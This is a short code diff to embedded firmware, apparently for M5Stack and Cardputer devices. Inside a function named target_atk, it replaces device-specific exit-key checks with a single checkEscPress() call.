@@ -204,23 +204,14 @@ void target_atk(String tssid,String mac, uint8_t channel) {
       while(checkSelPress()) { delay(50); } // timeless debounce
       // wait to restart or kick out of the function
       while(!checkSelPress()) { 
-        #ifndef CARDPUTER
-          if(checkPrevPress()) break; // Apertar o botão power dos sticks
-        #else
-          Keyboard.update();
-          if(Keyboard.isKeyPressed('`')) break; // Apertar o ESC do cardputer
-        #endif
+        if(checkEscPress()) break;
       }
       while(checkSelPress()) { delay(50); } // timeless debounce
       redraw=true;
     }    
     // Checks para sair do while
-  #ifndef CARDPUTER
-    if(checkPrevPress()) break; // Apertar o botão power dos sticks
-  #else
-    Keyboard.update();
-    if(Keyboard.isKeyPressed('`')) break; // Apertar o ESC do cardputer
-  #endif
+    if(checkEscPress()) break;
+
   }
   wifiDisconnect();
   returnToMenu=true;